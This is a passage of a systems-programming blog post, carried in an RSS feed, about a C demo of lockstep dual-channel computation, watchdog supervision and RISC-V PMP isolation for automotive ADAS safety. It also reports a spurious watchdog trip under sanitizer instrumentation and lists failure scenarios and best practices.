/__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F403b9dbd-f726-4501-b0ed-99c3e27efcaf_4000x4400.png 848w, /__u/substackcdn.com/image/fetch/$s_!-4uD!, /__u/howtech.substack.com/w_1272, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F403b9dbd-f726-4501-b0ed-99c3e27efcaf_4000x4400.png 1272w, /__u/substackcdn.com/image/fetch/$s_!-4uD!, /__u/howtech.substack.com/w_1456, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F403b9dbd-f726-4501-b0ed-99c3e27efcaf_4000x4400.png 1456w" sizes="100vw"><img src="/__u/substackcdn.com/image/fetch/$s_!-4uD!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F403b9dbd-f726-4501-b0ed-99c3e27efcaf_4000x4400.png" width="1456" height="1602" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/403b9dbd-f726-4501-b0ed-99c3e27efcaf_4000x4400.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1602,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:1048025,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://howtech.substack.com/i/208437162?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F403b9dbd-f726-4501-b0ed-99c3e27efcaf_4000x4400.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="/__u/substackcdn.com/image/fetch/$s_!-4uD!, /__u/howtech.substack.com/w_424, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F403b9dbd-f726-4501-b0ed-99c3e27efcaf_4000x4400.png 424w, /__u/substackcdn.com/image/fetch/$s_!-4uD!, /__u/howtech.substack.com/w_848, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F403b9dbd-f726-4501-b0ed-99c3e27efcaf_4000x4400.png 848w, /__u/substackcdn.com/image/fetch/$s_!-4uD!, /__u/howtech.substack.com/w_1272, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F403b9dbd-f726-4501-b0ed-99c3e27efcaf_4000x4400.png 1272w, /__u/substackcdn.com/image/fetch/$s_!-4uD!, /__u/howtech.substack.com/w_1456, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F403b9dbd-f726-4501-b0ed-99c3e27efcaf_4000x4400.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Walking through one 5 ms control period as the demo implements it:</p><ol><li><p><strong>Snapshot.</strong> The orchestrating thread takes a fresh sensor reading (in the real system: fused radar/camera distance and closing speed; in the demo: a deterministic pseudo-random generator standing in for a live sensor bus) and writes it to a shared, read-only-during-compute structure.</p></li><li><p><strong>Fork.</strong> Both channels are released from a <code>pthread_barrier_wait</code> simultaneously. This barrier is the software analog of the clock edge that releases both lockstep cores together.</p></li><li><p><strong>Independent compute.</strong> Each channel calls the identical pure function, <code>compute_brake_command()</code>, on its own snapshot of the sensor frame. No shared mutable state is touched during compute &#8212; that&#8217;s what makes the two channels genuinely independent rather than incidentally correlated.</p></li><li><p><strong>Join.</strong> Both channels rendezvous at a second barrier before either result is read. This ordering matters: reading a result before both channels have written it isn&#8217;t a comparator, it&#8217;s a race.</p></li><li><p><strong>Compare.</strong> The orchestrator does a <code>memcmp</code> of the two <code>control_cmd_t</code> structs &#8212; not a floating-point epsilon comparison. Deterministic computation on identical bit-pattern input must produce identical bit-pattern output; any difference at all is a fault, not noise to be tolerated.</p></li><li><p><strong>Branch.</strong> Match &#8594; the command is eligible to reach the actuator. Diverge &#8594; the fault is logged and the system holds the fail-safe command (full brake, in this demo) rather than trusting either channel.</p></li><li><p><strong>Deadline check.</strong> Elapsed wall-clock time for the cycle is compared against the 5 ms budget, independent of whether the values matched &#8212; a late-but-correct cycle is still a fault class of its own.</p></li><li><p><strong>Heartbeat.</strong> A monotonic timestamp is published for the watchdog thread to observe.</p></li><li><p><strong>Watchdog poll.</strong> A separate thread, decoupled from the control loop&#8217;s own scheduling, checks whether the heartbeat has advanced within the timeout window. If it hasn&#8217;t, <em>that thread</em> &#8212; not the possibly-wedged control loop &#8212; forces the safe state.</p></li><li><p><strong>Sleep to next tick</strong>, and repeat.</p></li></ol><h2>7. Kernel Data Structures</h2><p>The demo runs entirely in userspace, but every structure it uses maps to a real kernel-visible construct on the Linux side of a production system:</p><p>Demo construct Real kernel/hardware analog <code>pthread_barrier_t</code> rendezvous Hardware clock-edge synchronization between lockstep cores <code>atomic_uint_fast64_t</code> heartbeat A value written to a watchdog device via <code>ioctl(fd, WDIOC_KEEPALIVE, 0)</code>, or <code>hrtimer</code>-driven kicking of <code>/dev/watchdog</code> Watchdog polling thread The kernel&#8217;s softlockup/hardlockup detector (<code>kernel/watchdog.c</code>), or an external hardware watchdog IC on the safety island <code>sched_setscheduler(SCHED_FIFO)</code> <code>struct sched_rt_entity</code> inside <code>task_struct</code>, or <code>SCHED_DEADLINE</code>&#8216;s <code>struct sched_dl_entity</code> for a harder guarantee <code>clock_gettime(CLOCK_MONOTONIC)</code> <code>ktime_get()</code> inside the kernel, backed by the RISC-V <code>rdtime</code> CSR read (<code>time</code> / <code>timeh</code>) Fail-safe branch on divergence Comparator fault line asserted into the safety island&#8217;s <code>mcause</code>/trap path, typically routed to a dedicated NMI-equivalent</p><p>The one honest gap in this table: there&#8217;s no userspace equivalent of the PMP configuration that keeps the safety core&#8217;s memory region physically unreachable from the Linux-hosted cores. That protection is a hardware property enforced before any instruction on the Linux side executes, and no amount of software discipline in a demo replicates it &#8212; it&#8217;s the reason section 4 insists on keeping the safety loop off Linux entirely in a real design.</p><h2>8. CPU-Level Behaviour</h2><p>RISC-V&#8217;s privileged architecture defines three (sometimes two) privilege levels &#8212; Machine (M), Supervisor (S), and User (U) &#8212; and the safety story is largely about what happens at the M/S boundary. PMP is configured through a bank of <code>pmpcfgN</code>/<code>pmpaddrN</code> CSRs, writable only from M-mode, each entry describing a physical address range and a permission set (read/write/execute) plus a locking bit that, once set, cannot be cleared until the next reset. That lock bit is the mechanism: firmware sets up the memory partition between the safety-rated region and the general-purpose region at boot, locks it, and from that point forward not even a kernel bug in the Linux-hosted S-mode can widen its own permissions into the safety core&#8217;s memory.</p><p>Trap handling follows the same M/S split. An exception or interrupt on a RISC-V hart sets <code>mcause</code> and either handles it in M-mode or delegates it to S-mode via <code>medeleg</code>/<code>mideleg</code>. A lockstep comparator fault is architecturally similar to an NMI: it&#8217;s routed to demand immediate attention regardless of the current interrupt-enable state, because the alternative &#8212; waiting for a normal interrupt to be serviced behind other pending work &#8212; defeats the purpose of having lockstep at all.</p><p>At the microarchitecture level, delayed lockstep (running the shadow core a fixed number of cycles behind the primary and comparing with matching delay) catches a different fault population than fully synchronous lockstep: transient voltage droops and clock jitter that would otherwise correlate across two literally-synchronous cores and slip past a comparator that assumes independence. This is a real design tradeoff vendors make, not a detail &#8212; a fully synchronous lockstep pair sharing a clock tree and power rail is not, in the strictest sense, statistically independent, and functional-safety case documentation has to argue that point explicitly.</p><h2>9. Performance Analysis</h2><p>The demo measures three things every cycle: wall-clock cycle time (barrier-to-barrier), whether that time exceeded the 5 ms budget, and whether the two channels&#8217; outputs matched. A clean run over 300 cycles on this article&#8217;s development machine:</p><pre><code><code>=== ADAS Lockstep Control Loop Summary ===
cycles run:          300
faults injected:     1
faults detected:     1
deadline overruns:   0 (budget 5000000 ns)
avg cycle time:      0.009 ms
max cycle time:      0.055 ms
watchdog tripped:    no
</code></code></pre><p>Sub-millisecond cycle times here are expected and not representative of a real ECU: this demo runs <code>SCHED_FIFO</code> on an otherwise-idle Linux host with no actual sensor I/O, no CAN bus round trip, and no perception workload competing for cache and memory bandwidth. What the numbers <em>are</em> useful for is relative comparison &#8212; how the same code behaves under different instrumentation, which is the subject of the next section, and it&#8217;s where the real finding in this build lives.</p><h2>10. Debugging Techniques</h2><p>Standard tooling applies directly: <code>ftrace</code> for scheduling latency (<code>trace-cmd record -e sched_switch</code>), <code>perf sched latency</code> for a statistical view of run-queue wait time, and for the RISC-V hardware itself, JTAG via OpenOCD for M-mode/S-mode register and CSR inspection when a debug adapter is available on the target.</p><p>But the interesting result from building this demo came from the mandatory validation gauntlet, not from the feature code. Running the identical binary under <code>-fsanitize=thread</code> and separately under <code>valgrind --leak-check=full</code> produced a watchdog trip &#8212; the 15 ms heartbeat timeout fired &#8212; on some runs, with <strong>zero data races reported by TSan and zero memory errors reported by valgrind</strong>:</p><pre><code><code>$ ./adas_lockstep_tsan
[FAULT] cycle 150: lockstep divergence detected - entering fail-safe...
[WATCHDOG] heartbeat timeout - forcing safe state
=== ADAS Lockstep Control Loop Summary ===
...
watchdog tripped:    yes
</code></code></pre><pre><code><code>$ valgrind --leak-check=full --show-leak-kinds=all ./adas_lockstep
...
max cycle time:      3.465 ms
watchdog tripped:    yes
==916== ERROR SUMMARY: 0 errors from 0 contexts
</code></code></pre><p>This is not a bug in the lockstep or comparator logic &#8212; faults injected still equal faults detected on every single run, sanitizer or not. It&#8217;s a genuine and useful finding: <strong>instrumentation overhead is itself a timing perturbation</strong>, and a watchdog budget sized against bare-metal or lightly-loaded execution can trip <em>spuriously</em> the moment you run the same code under a tool that adds tens-to-hundreds of x scheduling and memory-access overhead. Valgrind&#8217;s shadow-memory interpretation alone regularly produces 20&#8211;50x slowdowns; TSan&#8217;s happens-before tracking is cheaper but still substantial, and both are enough to blow a 15 ms budget derived from 5 ms nominal cycles.</p><p>The production lesson generalizes past this demo: never validate a watchdog <em>timeout value</em> under the same tool you use to validate <em>correctness</em>. Correctness tools (TSan, ASan, valgrind) are allowed &#8212; expected &#8212; to change timing arbitrarily. Timing validation belongs on unmodified, or at most lightly-traced (<code>ftrace</code>, hardware performance counters), builds. Conflating the two in one CI job is a realistic way to end up with a watchdog that either never trips in the lab (because the lab always runs under a slow debug build) or trips constantly in the lab and gets its timeout &#8220;fixed&#8221; upward until it&#8217;s useless in production.</p><h2>11. Production Failure Scenarios</h2><ul><li><p><strong>PMP misconfiguration at boot.</strong> If OpenSBI locks a PMP region with the wrong address range &#8212; off-by-one on a page boundary is the classic version &#8212; the Linux-hosted cores can end up with either read access into the safety core&#8217;s private memory (a security and certification problem) or, more insidiously, no access to a region they legitimately need, producing a boot-time fault that&#8217;s easy to misdiagnose as a driver bug rather than a firmware configuration error.</p></li><li><p><strong>Lockstep divergence from correlated, not independent, faults.</strong> As noted in section 8, two cores sharing a clock tree and voltage rail aren&#8217;t fully statistically independent. A voltage droop severe enough to affect both cores identically can produce <em>matching</em> wrong output &#8212; the exact failure mode DCLS exists to prevent, defeated by the assumption of independence not holding under that specific stressor. This is why automotive safety cases require explicit dependent-failure analysis, not just &#8220;we have two cores.&#8221;</p></li><li><p><strong>Watchdog timeout tuned against the wrong build.</strong> Section 10&#8217;s finding, promoted to a field scenario: a watchdog budget validated only under production-optimized builds can be too tight for the debug or OTA-update builds that occasionally run in the field during diagnostics, causing spurious safe-state entries that look like intermittent hardware failures to a service technician.</p></li><li><p><strong>Silent hang without divergence.</strong> A control loop thread that deadlocks on a lock (rather than crashing or diverging) produces neither a comparator fault nor an obviously wrong value &#8212; it simply stops. This is precisely why the watchdog thread in this demo is architecturally separate from the control loop rather than a self-check inside it: a wedged thread cannot be trusted to detect its own wedging.</p></li><li><p><strong>Interrupt storm starving the safety-critical hart.</strong> On a shared PLIC, a high-rate, low-priority interrupt source (a flaky sensor bus, for instance) misconfigured to a priority level that competes with the control loop&#8217;s own timer interrupt can introduce exactly the kind of tail-latency spike section 3 describes &#8212; correct code, correct hardware, still late.</p></li></ul><h2>Working demo Link:</h2><div id="youtube2-W1AIjSQfre8" class="youtube-wrap" data-attrs="{&quot;videoId&quot;:&quot;W1AIjSQfre8&quot;,&quot;startTime&quot;:null,&quot;endTime&quot;:null}" data-component-name="Youtube2ToDOM"><div class="youtube-inner"><iframe src="https://www.youtube-nocookie.com/embed/W1AIjSQfre8?rel=0&amp;autoplay=0&amp;showinfo=0&amp;enablejsapi=0" frameborder="0" loading="lazy" gesture="media" allow="autoplay; fullscreen" allowautoplay="true" allowfullscreen="true" width="728" height="409"></iframe></div></div><h2>12. Real-World Production Use Cases</h2><p>RISC-V&#8217;s automotive safety footprint by 2026 spans the full stack, from crypto co-processors to full application cores. Rambus&#8217;s RT-645 crypto core safeguards SoCs used in V2X communications, ADAS, and infotainment &#8212; security and safety converging on the same certified RISC-V IP rather than being bolted on separately. On the compute side, Nuclei Systems reports more than 300 global licensees and billions of deployed SoCs, with its ASIL-D compliant CPUs already licensed to major automotive customers moving from Asian volume markets into Western automotive design wins. Toolchain vendors are building for this market specifically: TASKING&#8217;s certifiable, end-to-end toolchain targets automotive, aerospace, industrial, and robotics safety-critical development on RISC-V, which is a leading indicator &#8212; compiler and debugger certification investment doesn&#8217;t happen ahead of real production volume.</p><p>The centralized zonal-controller trend in modern EE architectures is where the mixed-criticality pattern from section 4 matters most in practice: rather than one MCU per function scattered around the vehicle, a single domain controller handles ADAS, body control, and increasingly infotainment on one SoC, which is exactly the environment where safety islands must provide independent supervision of the main compute cluster and where hypervisor-certified separation for Linux and AUTOSAR coexistence stops being an academic requirement and becomes the thing standing between a perception bug and a control-loop fault.</p><h2>13. Hands-on Lab</h2><p>The accompanying <code>startup.sh --docker </code> builds and validates the exact demo discussed throughout this article. It:</p><ol><li><p>Detects the host distribution and kernel, and warns (without failing) if the host isn&#8217;t <code>riscv64</code> &#8212; the demo validates the <em>software pattern</em>, not real RISC-V PMP/DCLS hardware.</p></li><li><p>Installs <code>gcc</code>, <code>valgrind</code>, and <code>gdb</code> via <code>apt-get</code> if they&#8217;re not already present.</p></li><li><p>Generates <code>adas_lockstep.c</code> from an embedded heredoc &#8212; no external file dependency.</p></li><li><p>Builds three binaries: a baseline (<code>-Wall -Wextra -Werror -O2</code>), an ASan+UBSan build, and a ThreadSanitizer build.</p></li><li><p>Runs all three, then runs the baseline under <code>valgrind --leak-check=full --show-leak-kinds=all</code>.</p></li><li><p>Reports a pass/fail summary for each stage, and specifically calls out if the watchdog trips under TSan &#8212; the expected, benign finding from section 10.</p></li></ol><pre><code><code>chmod +x startup.sh --docker
./startup.sh  --docker         # build, validate, run
</code></code></pre><p>Two things worth doing manually after the script runs: first, edit <code>FAULT_INJECT_CYCLE</code> in the generated source and rebuild to confirm the comparator catches a fault at any cycle, not just the one shipped by default. Second, run the TSan binary five or six times in a row and watch <code>watchdog tripped</code> flip between <code>yes</code> and <code>no</code> &#8212; that non-determinism <em>is</em> the section 10 finding, reproduced live rather than taken on faith.</p><h2>14. Best Practices</h2><ul><li><p><strong>Never host the ASIL-D control authority on general-purpose Linux.</strong> Use Linux for perception, monitoring, and the non-safety compute cluster; keep the certified control loop on a safety-rated core running an RTOS or bare-metal safety kernel, connected by a well-defined, narrow interface (shared memory heartbeat, CAN, or a dedicated mailbox) rather than a shared address space.</p></li><li><p><strong>Treat PMP configuration as part of the safety case, not an implementation detail.</strong> Boot-time PMP startup belongs in the same review and test rigor as the control algorithm itself, because a PMP bug silently defeats every software isolation guarantee built on top of it.</p></li><li><p><strong>Validate correctness and timing separately.</strong> Sanitizers and valgrind are for correctness; never derive or confirm a watchdog timeout, a deadline budget, or any other timing constant from a run made under heavy instrumentation.</p></li><li><p><strong>Compare outputs bitwise, not with tolerance.</strong> A deterministic function given identical input must produce identical output; introducing an epsilon comparison into a lockstep-style check quietly converts a hard safety property into a soft one.</p></li><li><p><strong>Decouple the watchdog from the thing it&#8217;s watching.</strong> A control loop cannot reliably detect its own hang; the supervisor needs independent scheduling, and ideally independent hardware.</p></li><li><p><strong>Document dependent-failure analysis explicitly</strong> for any lockstep design sharing a clock or power rail between channels &#8212; &#8220;two cores&#8221; is not automatically &#8220;two independent cores.&#8221;</p></li></ul><h2>15. Summary</h2><p>RISC-V&#8217;s contribution to automotive ADAS isn&#8217;t a faster core &#8212; it&#8217;s a privileged architecture flexible enough that a single vendor can build application-class, real-time, and safety-certified lockstep cores as genuinely different hardware on one die, connected through a small number of well-specified mechanisms: PMP for spatial isolation, a shared or bridged interrupt fabric, and a comparator fault line that behaves like an NMI. Linux&#8217;s role in that picture is real but bounded &#8212; it owns perception, non-safety compute, and supervisory monitoring, and it lives inside the memory partition that M-mode firmware draws before the kernel ever boots, not around it.</p><p>The demo built and validated here reproduces the software shape of that boundary &#8212; dual-channel computation, bitwise comparison, deadline supervision, an independent watchdog &#8212; cleanly enough to pass <code>-Wall -Wextra -Werror -O2</code>, ASan, UBSan, TSan, and valgrind&#8217;s full leak-check. Its one honest failure mode, a spurious watchdog trip under heavy sanitizer instrumentation, turned out to be the most useful thing it produced: a reminder that timing guarantees and correctness guarantees have to be validated on different builds, because the tools that give you one routinely cost you the other.</p><div><hr></div><h2></h2><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://howtech.substack.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">How Tech - Systems Programming is a reader-supported publication. To receive new posts and support my work, consider becoming a free or paid subscriber.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div>]]></content:encoded></item></channel></rss>